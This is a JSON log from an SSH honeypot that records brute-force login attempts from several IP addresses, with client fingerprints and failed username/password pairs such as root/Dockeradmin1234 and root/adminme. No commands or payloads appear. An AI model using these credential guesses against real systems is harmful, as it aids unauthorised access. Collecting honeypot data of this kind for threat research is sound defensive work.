{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:38.517173Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:38.522318Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":35990,"dst_ip":"10.17.0.5","dst_port":22,"session":"442b8e9f86ff","protocol":"ssh","message":"New connection: 103.118.29.129:35990 (10.17.0.5:22) [session: 442b8e9f86ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:40.690300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:40.695181Z","src_ip":"103.118.29.129","session":"442b8e9f86ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:40.933970Z","src_ip":"103.118.29.129","session":"442b8e9f86ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jcon0r73","password":"qvAKezGkBP2x-stx1C-n","message":"login attempt [jcon0r73/qvAKezGkBP2x-stx1C-n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:41.925702Z","src_ip":"103.118.29.129","session":"442b8e9f86ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:43.168263Z","src_ip":"103.118.29.129","session":"442b8e9f86ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":52682,"dst_ip":"159.203.135.109","dst_port":22,"session":"f61ddc641da7","protocol":"ssh","message":"New connection: 43.242.203.160:52682 (159.203.135.109:22) [session: f61ddc641da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:09.154953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:09.193259Z","src_ip":"43.242.203.160","session":"f61ddc641da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:09.486468Z","src_ip":"43.242.203.160","session":"f61ddc641da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dockeradmin1234","message":"login attempt [root/Dockeradmin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:10.517118Z","src_ip":"43.242.203.160","session":"f61ddc641da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:12.216403Z","src_ip":"43.242.203.160","session":"f61ddc641da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":43712,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff31b131b68","protocol":"ssh","message":"New connection: 200.39.46.41:43712 (10.17.0.5:22) [session: 7ff31b131b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:13.507232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:13.511955Z","src_ip":"200.39.46.41","session":"7ff31b131b68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:13.653054Z","src_ip":"200.39.46.41","session":"7ff31b131b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rsacgo23","password":"8.5vHtXSSViFDvKi+TB.","message":"login attempt [rsacgo23/8.5vHtXSSViFDvKi+TB.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:14.251379Z","src_ip":"200.39.46.41","session":"7ff31b131b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:15.395170Z","src_ip":"200.39.46.41","session":"7ff31b131b68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":13848,"dst_ip":"10.17.0.5","dst_port":22,"session":"521a83eedd5f","protocol":"ssh","message":"New connection: 136.232.11.10:13848 (10.17.0.5:22) [session: 521a83eedd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:35.211246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:35.216524Z","src_ip":"136.232.11.10","session":"521a83eedd5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:35.458531Z","src_ip":"136.232.11.10","session":"521a83eedd5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminme","message":"login attempt [root/adminme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:36.420331Z","src_ip":"136.232.11.10","session":"521a83eedd5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":55144,"dst_ip":"10.17.0.5","dst_port":22,"session":"0185a567dbb3","protocol":"ssh","message":"New connection: 202.51.214.99:55144 (10.17.0.5:22) [session: 0185a567dbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:36.976854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:36.980880Z","src_ip":"202.51.214.99","session":"0185a567dbb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:37.217180Z","src_ip":"202.51.214.99","session":"0185a567dbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:37.659698Z","src_ip":"136.232.11.10","session":"521a83eedd5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:38.197789Z","src_ip":"202.51.214.99","session":"0185a567dbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":33000,"dst_ip":"10.17.0.5","dst_port":22,"session":"57a2c7098825","protocol":"ssh","message":"New connection: 45.137.172.116:33000 (10.17.0.5:22) [session: 57a2c7098825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:38.956163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:38.960764Z","src_ip":"45.137.172.116","session":"57a2c7098825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:39.056946Z","src_ip":"45.137.172.116","session":"57a2c7098825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:39.434914Z","src_ip":"202.51.214.99","session":"0185a567dbb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#QWEqwe","message":"login attempt [root/123!@#QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:39.476519Z","src_ip":"45.137.172.116","session":"57a2c7098825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:40.575109Z","src_ip":"45.137.172.116","session":"57a2c7098825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":59760,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d883ea15f8","protocol":"ssh","message":"New connection: 69.48.205.231:59760 (10.17.0.5:22) [session: f6d883ea15f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:46.922180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:46.926595Z","src_ip":"69.48.205.231","session":"f6d883ea15f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:46.976814Z","src_ip":"69.48.205.231","session":"f6d883ea15f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"freeside","message":"login attempt [root/freeside] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:47.211779Z","src_ip":"69.48.205.231","session":"f6d883ea15f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:48.266364Z","src_ip":"69.48.205.231","session":"f6d883ea15f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":36290,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ef146408a4","protocol":"ssh","message":"New connection: 43.242.203.160:36290 (159.203.135.109:22) [session: 71ef146408a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:53.620800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:53.645541Z","src_ip":"43.242.203.160","session":"71ef146408a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:53.892877Z","src_ip":"43.242.203.160","session":"71ef146408a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456.","message":"login attempt [root/a123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:55.041305Z","src_ip":"43.242.203.160","session":"71ef146408a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:04:56.281093Z","src_ip":"43.242.203.160","session":"71ef146408a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":32996,"dst_ip":"10.17.0.5","dst_port":22,"session":"f82f5ff1ddf6","protocol":"ssh","message":"New connection: 103.118.29.129:32996 (10.17.0.5:22) [session: f82f5ff1ddf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:01.962485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:01.969515Z","src_ip":"103.118.29.129","session":"f82f5ff1ddf6","protocol":"ssh"}
